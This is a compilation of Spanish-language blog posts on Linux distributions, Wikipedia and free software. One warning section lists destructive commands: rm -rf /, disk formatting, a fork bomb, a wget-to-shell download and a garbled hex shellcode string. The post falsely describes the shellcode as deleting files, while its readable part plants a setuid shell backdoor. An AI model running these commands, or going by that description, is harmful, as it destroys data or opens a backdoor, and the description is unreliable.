Según el equipo de trabajo de Fedora, Fedora cuenta con 9.5 millones de usuarios alrededor del mundo y Ubuntu cuenta con 8 millones. Este tipo de noticias han sido muy discutidas debido a que es muy complicado o casi imposible medir el numero de usuarios de una distribución y sobre todo los que hacen uso de la misma.

El líder del proyecto Fedora, Paul Frields, comentó en InternetNews que “el número total de usuarios siempre ha sido increíblemente difícil de calcular. Si sumas el número total de IPs con Fedora 7, 8 y 9 instaladas, tenemos 9,5 millones de máquinas en estos momentos”.

Lo cierto es que el tipo de cuentas que realizan en Fedora podrían ser incluso poco realistas según Frields, que indica que debido a que se basa en direcciones IP podría contar de más debido al uso de IPs dinámicas que cuentan como varias instalaciones de Fedora en el momento que en realidad sólo se trata de una. Pero por otro lado además podría ser un cálculo a la baja, debido a que una IP única podría representar en realidad a la IP de salida de una red de máquinas con esta distribución de GNU/Linux instalada.
Según los estudios de la propia Fedora, la repartición en versiones es la próximo: Fedora 7 cuenta con 3,4 millones de IPs, Fedora 8 cuenta con 3,9 millones de IPs y curiosamente Fedora 9 tan sólo cuenta con 1,8 millones. A eso habría que agregarles las ediciones Fedora Rawhide, que son las de desarrollo y que son utilizadas por medio millón más de personas. Incluso hay aún 2 millones de IPs que aún usan Fedora 6 según los datos de este organismo, y si a ese número se le sumaran las ediciones de Red Hat Enterprise Linux que son actualmente de 2,5 millones de licencias vendidas, llegaríamos a los 13 millones de usuarios de Fedora y Red Hat en conjunto.

Fuente: somoslibres.org

La reciente versión 8.10 sigue siendo la elegida por los usuarios finales, aunque la cosa cambia en los entornos de servidor.

Canonical Ubuntu 8.10 es la última versión del popular sistema operativo basado en Linux para escritorios y servidores. Se encuentra disponible desde inicios de noviembre.

Bajo el punto de vista de nuestros colegas de eWEEK.com, se conforma como la mejor alternativa a sistemas propietarios como Windows y Mac, siempre en el caso del usuario final.

Esto es así puesto que Ubuntu se distingue del resto al enfocarse mucho más en aspectos como la usabilidad, la importante selección de paquetes de software preparado para instalar o además su gran comunidad de usuarios y desarrolladores.
En este sentido, la comunicación y colaboración de estas personas se lleva a cabo desde diversas plataformas y lo cierto es que el Proyecto Ubuntu realiza un buen trabajo a la hora de aunar las preguntas y respuestas cosechadas, que incluso sirven para mejorar en futuras versiones.

No obstante, es algo que en el entorno de servidores no se repite. En este apartado son otras las soluciones que ofrecen mejores prestaciones y funcionalidad, como es el caso de Red Hat y su distribución Red Hat Enterprise.

Fuente: eweekeurope.es

Si te estas iniciando en el mundo de Gnu/Linux, no esta de más que tomes nota sobre estos comandos que son mortales para Linux. Amig@ antes de ejecutar un script o comando asegurese de estar en lo correcto.

Algunos de estos comandos mortales son:

1. rm -rf /

Este comando borra recursivamente todos los ficheros almacenados en el directorio root. Vendria a ser el equivalente (mas o menos) a un FORMAT C: en Windows.

2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0×50x54×5ax83xecx64×68″ “xffxffxffxffx68xdfxd0xdfxd9×68x8dx99″ “xdfx81×68x8dx92xdfxd2×54x5exf7×16xf7″ “x56×04xf7×56x08xf7×56x0cx83xc4×74x56″ “x8dx73×08x56×53x54×59xb0×0bxcdx80×31″ “xc0×40xebxf9xe8xbdxffxffxffx2fx62×69″ “x6ex2fx73×68x00×2dx63×00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Esta es el mismo comando que el anterior, pero escrito en su forma hexadecimal.

3. mkfs.ext3 /dev/sda

Formatea el sistema de archivos que se encuentra en /dev/sda (que generalmente es nuestro disco duro).

4. :(){:|:&};:

Conocido tambien como forkbomb, Este comando iniciara a hacer y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.

5. cualquier_comando > /dev/sda

Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y generado la perdida total de datos.

6. wget http://alguna_url -O- | sh

Este comando descargara un fichero ejecutable o script y lo ejecutara. Si el lugar no es confiable podria ser contenido malicioso.

7. mv /home/tu_usuario/* /dev/null

Mueve todas las carpetas de tu home a /dev/null, lo que genera que sean borradas (eliminadas).

Fuente: somoslibres.org

Son muchos los proyectos internos que hay dentro de la Wikipedia, la enciclopedia libre.

• Wiki Commons. Los archivos multimedia como sonido, imágenes y música que son de uso libre se encuentran en este proyecto.
• Meta Wiki. Se coordinan todos los proyectos de WIki Media, se gestan las novedades de la Wikipedia.
• Wiki Source: Una base de datos que almacena todos los textos usados como fuentes en varios idiomas.
• Wiki Universidad: Plataforma docente para compartir entre profesorado y alumnado.
• Wiki Printable: Base de datos de libros de la Antigüedad, lenguas muertas, códices, al alcance de cualquiera.
• Wiki Quote: Colección de citas en un portal libre. Citas célebres de personajes famosos, libros y proverbios.
• Wiki Especies: La mayor enciclopedia sobre animales, plantas, hongos, bacterías y cualquier otro ser vivo.
• Wiki News: Un servicio de noticias creado y gestionado por los propios colaboradores de la Wikipedia.

Autor: BlogDeLinux.com

Las personas que colaboran en la “Wikipedia” forman una red de trabajo para crear un organismo vivo y actual de conceptos que cambian con el tiempo bajo la atenta mirada de la fundación WikiMedia. Existen diversos niveles escalables en la colaboración de la Wikipedia:

• La fundación: Su papel es la de ser observadora y tomar decisiones importantes que afectan a a la imágen del proyecto. Sin su reconocimiento oficial no se puede crear una nueva Wiki.
• Biblios: Son wikipedistas de un alto nivel de actividad con ciertos privilegios sobre los demás. Son capaces de mediar conflictos e incluso borrar las páginas que sean inadecuadas o manipuladas.
• Wikimedistas: Son wikipedistas que se dedican a la edición de las noticias en pro por la mejora de los contenidos.
• Wikipedistas: Existen los poco activos que no han hecho aportaciones y los activos que participan en la comunidad.

Autor: BlogDeLinux.com.

Probablemente Wikipedia sea de las pocas marcas que no necesitan explicación. Más allá de una marca, la Wikipedia es un término y es sinónimo de conocimiento. La Wikipedia se trata de la mayor ONG del conocimiento y es que es una fundación no lucrativa cuyos directivos y miembros no perciben un sueldo por su participación.

La Wikipedia fue creada en sus inicios por una filosofía basada en la concepción del software libre. Herce, uno de los colaboradores más activos de la Wikipedia española compara su participación con la Wikipedia con una ONG: “Para mi es como quien ayuda a la creación de un pozo de agua en el Tercer Mundo. De hecho, hay escuelas en la India que utilizan la Wikipedia como libro de texto”.

Y es que, según el fundador de la WIkipedia no se trata de una enciclopedia sino de un medio para compartir conocimientos con quienes no tienen acceso a él por otros medios. Y esta “no enciclopedia” se rige por principios de libertad.

Autor: BlogDelLinux.com.

Hace unos años la pregunta que a uno le hacían toda vez que se mencionaba el software de código fuente abierto era “¿Cómo se mantiene una actividad que no deja ninguna ganancia?” Además de que la apertura del código no significa que no haya ganancias, hoy, con la difusión lenta pero segura de la distribución de Linux Ubuntu, la irrupción del software gratis de gigantes como Google en el territorio antes dominado por Microsoft, la presencia cada vez mayor de los navegadores como entornos de trabajo e Internet como una suerte de sistema operativo difuso, la pregunta ha cambiado, aunque aún se expresa con algún temor. La pregunta en este momento es: “¿Por cuánto tiempo más el software comercial en caja seguirá siendo una actividad sustentable?”

El a estas alturas insoslayable fracaso de Windows Vista muestra que hay un cambio de paradigma en lo que alguna vez fue el negocio más prometedor de la tecnología. Sigue siéndolo, pero las reglas han cambiado. Observe.

Una de las cosas que más se ponderaron de la primera IBM/PC era que, al revés que las otras computadoras de su época, aprobaba escribir mayúsculas y minúsculas. Es más, usé varias de esas primeras computadoras para hobbistas, y vadebido a que han cambiado las cosas.
En esa época no sólo estaban ausentes las minúsculas, más bien además Windows, Internet, las cámaras digitales, los iPods y las aceleradoras de video. En ese terreno inexplorado, virgen, sin roturar, empresas como Microsoft, Adobe, Autodesk y muchas otras medraron sin pausa y sin obstáculo hasta transformarse en los gigantes de hoy.

Pero a los gigantes les cuesta adaptarse a los cambios súbitos. El otro día tuve conciencia del salto cuántico que hemos vivido en estos algo más de 25 años en el momento que extraje la tarjeta de memoria de mi cámara, mandé una foto a la impresora y en tres minutos tenía una copia fotográfica perfecta, indistinguible de las de antes. El terreno ya no está inexplorado, más bien superpoblado; las computadoras ya no causan asombro por permitirnos utilizar mayúsculas y minúsculas; ni siquiera lo logran con las fantásticas interfaces de Windows, Mac OS X o Linux; cada vez es más difícil para las empresas convencernos de gastar cientos o miles de dólares en programas. El hardware ha vuelto, así, a ganar protagonismo. A pesar de que mientras años se comentó que era un mal negocio puesto que pronto los procesadores y las memorias se volverían commodities , lo cierto es que un cuarto de siglo después aún pagamos sin hesitar por los fierros.

En cambio, podemos recibir todos los programas sin cargo, gracias al freeware, el código fuente abierto y el software libre. Hasta Ubuntu, pero, había un costo, no en dinero, más bien en conocimiento. O eras medio hacker o tenías que mantenerte fuera del juego de Linux.

Pese al pataleo innecesario y a todas luces obsoleto de la comunidad Linux, Ubuntu consiguió lo que ninguna otra distribución antes: el cariño del público. No por su gratuidad, debido a que todos los Linux se consiguen sin cargo, más bien puesto que se puso del lado de la gente, en lugar de insistir con el avinagrado, aburrido, repetitivo, monocorde y totalmente inútil epigrama anti Microsoft y anti público común.

Hoy Ubuntu puede ser incluso más sencillo que Windows Vista, pero eso es simplemente puesto que el Vista rompió el molde de XP y dejó a medio mundo preguntándose dónde estaba todo; uno de los muchos errores estratégicos que se cometieron con el Vista.

Finalmente, lo que empezó a convertirse en una commodity fue el software. Y esto no ocurrió por la aparición del código fuente abierto, Linux, la Free Software Foundation o los programas gratis. El peor enemigo de Vista no fue Linux, más bien el XP, que impuso mientras su extenso reinado el modelo de interfaz más utilizado del mundo; usado incluso por Linux. Si usted usa WindowMaker o AfterStep , le aseguro que es una rareza.
Africa mon amour

Así que no sé si Ubuntu es la distribución más fácil de todas. A mí me lo parece, pero hay quienes defienden Mandriva en el mismo sentido. U OpenSUSE. Pero es el que consiguió que mucha gente del off-Linux se sintiera cómoda.

De ahí que le hemos dedicado la nota de tapa a su hacedor, Mark Shuttleworth, un sudafricano que se desarrolló rico gracias al software libre y que luego, en lugar de invertir el dinero en autos lujosos, bienes raíces o viajes al espacio, se sugirió devolver parte de lo que la sociedad le había dado y fundó Canonical ( www.canonical.com ), la empresa comercial detrás de Ubuntu y otros productos open source. Además viajó al espacio, pero ésa es otra historia (ver nota de tapa de esta edición).

Excepto por los videojuegos de última generación y la edición de video, Ubuntu, y para el caso cualquier distribución de Linux, viene con todo integrado. Lo que no está, se recibe hoy fácilmente por Internet. Sin cargo, desde luego. Linux sigue sin ser recomendable, a pesar de Ubuntu, para quienes no tienen ni idea de cómo instalar Windows o se sienten atemorizados por las nuevas tecnologías. Pero incluso eso podría modificar en el futuro.

No puedo dialogar como un novato de Linux, sería una hipocresía. En más de doce años he pasado por todos los accidentes, las penurias y las frustraciones con que nos obsequió este sistema en sus primeros años: aprendí C; configuré kernels para que anduviera la administración de energía, la grabación de audio con baja latencia o los discos Zip; compilé programas mientras horas para desarrollar lo que era predeterminado en Windows; cambié líneas, muchas veces casi a ciegas, en el código de drivers y aplicaciones; edité a mano el archivo de configuración de X Window (sigo haciéndolo, de puro cabeza dura), y no me faltaron ganas de arrojar la PC por el balcón en el momento que un programa me pidió que buscara la quincuagésima sexta biblioteca faltante, y luego de hallarla, obtuve un error incorregible. Estoy agradecido, pero, puesto que las dificultades enseñan mucho, y puesto que pude ejercer mi derecho a elegir entre Windows y alguna otra cosa.

De otro modo, no hubiera podido desarrollar intereses tan diversos como el 3D, la escritura, la música y la fotografía; no hubiera podido pagar todas esas aplicaciones de software comercial. Y no uso software pirateado, punto. Así, me las fui arreglando para adoptar Linux como mi sistema personal.

Tras tantos años de utilizar Linux, Ubuntu me sedujo por dos motivos. Primero, puesto que es de verdad sencillo, y no sólo una interfaz bonita. Segundo, puesto que pese a que logra esto domesticando algunos de los instintos más poderosos de Linux, éstos pueden ser liberados fácilmente por el usuario experto. Es, además, pequeño: lo básico entra en un CD; el resto se baja, si hace falta.

Así, escribo y hago una que otra presentación con OpenOffice.org ; uso Blender para el 3D; ejecuto Painter con el emulador de Windows, llamado Wine ; edito las fotos con Gimp ; visito la Web con Firefox ; chateo con Pidgin ; ripeo mis discos con Grip , y sigue la lista. No me privo del GoogleEarth ni del Thunderbird con Gmail. Podría decir que extraño algunos juegos, pero la verdad es que no me queda mucho tiempo para los videogames. Y, por otro lado, no he dejado de utilizar Windows, por mi trabajo de todos los días. Pero hoy es posible, con un ahorro de varios miles de dólares en soft.

En efecto, sólo he pagado por el Painter , puesto que no hay buenos programas de pintura gratis. Bueno, el Painter y el hardware.

Lo mismo podría desarrollar con cualquiera de las otras distribuciones de Linux, cabe aclarar. Pero Ubuntu me cae bien.
Humanismo en CD

La adalternativa de Ubuntu es aún muy baja, si se compara con Windows: unos 8 millones de usuarios en el mundo versus los más o menos 1000 millones de máquinas con el sistema de Microsoft. No obstante, la comparación es improcedente no sólo por la incalculable diferencia de escala entre ambos, más bien además puesto que la gesta de Ubuntu ha sido viral, sin campañas de publicidad y marketing multimillonarias, excepto el boca en boca global que tan bien aprovechan desde las redes sociales como Facebook hasta el archienemigo de Microsoft, Google, y que por lo tanto tal vez constituye el futuro.

Lo más significativo es que Ubuntu haya cosechado, si uno ha de fiarse en estos números, la cuarta parte de las computadoras con Linux ( http://counter.li.org/ ) en tan sólo cuatro años, y que en lugar de desarrollarlo con un discurso fundamentalista y hostil lo haya hecho con un mensaje humanista que proviene del continente más castigado, saqueado y olvidado de la Tierra.

Tengo la impresión de que, análisis de modelos de negocios y tendencias informáticas aparte, deberíamos sacar alguna lección más profunda de todo esto.

Fuente: lanacion.com.ar

Unos mil avileños se prepararon para utilizar programas de código abierto o software libre, dentro de una estrategia cubana por acceder a tecnologías alternativas.

Viviano Moyano Trujillo, director del Equipo Provincial de los Joven Club de Computación y Electrónica en Ciego de Ávila, informó que esas personas se graduaron en los últimos dos años en las 28 instalaciones del territorio.

Según trascendió en el Primer Festival del Software Libre, organizado por los Joven Club, los graduados en esa modalidad lo hicieron, principalmente, en cursos de operadores de microcomputadora con programas de GNU/Linux y sus aplicaciones.

En cada ciclo, cuyas clases duran cuatro meses, culminaron estudios un promedio de 200 alumnos, los que también pueden acceder a lecciones sobre la instalación de sistemas operativos de código abierto e interactuar con la comunidad de software libre, mediante el sitio Linux-Cuba.

Estas modalidades de cursos forman parte de las acciones desarrolladas en Cuba para hacer funcionar las computadoras de empresas e instituciones sociales con tecnologías más seguras y romper con la dependencia de sistemas operativos privados, como Windows.

A diferencia de los programas privados, el software libre tiene, entre otras, las ventajas de que los usuarios pueden acceder a los códigos-fuente y mejorar sus aplicaciones, con lo que se obtiene mayor seguridad e independencia en el procesamiento y transmisión de datos.

Fuente: cuba.cu

Mayor rapidez en el arranque y al “despertar” de una hibernación y mayor integración entre el escritorio local y las aplicaciones constituyen las primeras líneas maestras que se han dado a conocer de Ubuntu 9.04 “Jaunty Jackalope”.

Cuando aún no hemos terminado de “digerir” la recientemente lanzada versión 8.10 de la distribución de GNU/Linux que disfruta de más fama actualmente y que tan buenas críticas ha despertado, ya empezamos a conocer los primeros detalles de la que está llamada a ser, de aquí a seis meses, su sucesora. Su nombre será Jaunty Jackalope, y esta vez no hará referencia a un animal de la sabana africana como nos tiene acostumbrados Mark Shuttleworth, más bien a un ser mitológico cruce entre conejo y antílope.

Aún no se conocen los detalles concretos de esta futura versión en la que aún debe comenzarse a trabajar de forma seria, pero sí las líneas generales que el propio Shuttleworth dibujó en un mensaje de correo electrónico[1] mandado este pasado Septiembre a la comunidad de desarrolladores de Ubuntu, en el momento que ya se estaba concluyendo el desarrollo de la versión 8.10 de esta distro.

El primer aspecto a mejorar en Jaunty Jackalope es el tiempo de arranque, ya sea en una instalación estándar o bien en el momento que se haya adaptado a un dispositivo concreto (recompilación del kernel y/o alguna otra operación). Esta mayor rapidez además debe verse en el momento que el usuario retorne el equipo desde el estado de hibernación al de funcionamiento normal.

La integración entre los programas de escritorio y las aplicaciones online debe ser mayor, que el usuario no note tanto las diferencias entre unas y otras. Esta misma integración se busca, por ejemplo, en otras plataformas como el Windows 7 de Microsoft.

Otro cambio anunciado será de trabajo interno para los desarrolladores adheridos al proyecto, debido a que a partir de esta nueva versión trabajarán con el CVS Bazaar.

Las demás novedades concretas que aportará Ubuntu 9.04 se comenzarán a conocer a partir de la próxima convocón de desarrolladores de Ubuntu, a celebrarse entre el 8 y el 12 diciembre de este año en el Campus de Google en Mountain View, California. Las expectativas son altas, y en palabras del propio Shuttleworth, 2009 será el año en que Ubuntu sea instalada como sistema operativo en millones de dispositivos vendidos y el gran público pueda compararla con los tradicionales sistemas operativos propietarios (Windows y Mac OS X) en términos de usabilidad y prestaciones.

Fuente: NoticiasDot.com

Dos años ha tardado la empresa en comprender que no siempre el trabajo hecho en casa es la mejor solución.

Los usuarios de Linux aún siguen sin poder aprovverter la potencia de la tecnología X-Fi de Creativa. La gran apuesta de Creative se ha mantenido casi exclusivamente para los usuarios de Windows y eso a pesar de que en septiembre del 2007 la compañía autorizó a desarrolladores a hacer drivers para Linux.

La propia compañía tomo esa decisión tras intentar desarrollar el trabajo ella misma. Consiguió sacar algunos controladores, principalmente para versiones 64 bits de algunas distribuciones Linux, pero se “olvido” de las distros más populares como la gran familia Ubuntu o Fedora. Y eso a pesar de contar con el apoyo directo y presupuesto dedicado.

Ahora la compañía espera que el llamamiento publico a la comunidad facilitará que los desarrolladores se animen a sacar drivers para Linux liberándolos bajo la licencia GPL V2 y facilitando luego que los usuarios del sistema operativo de código libre puedan disfrutar de una tecnología que ofrece una excelente calidad de audio.

Fuente: NoticiasDot.com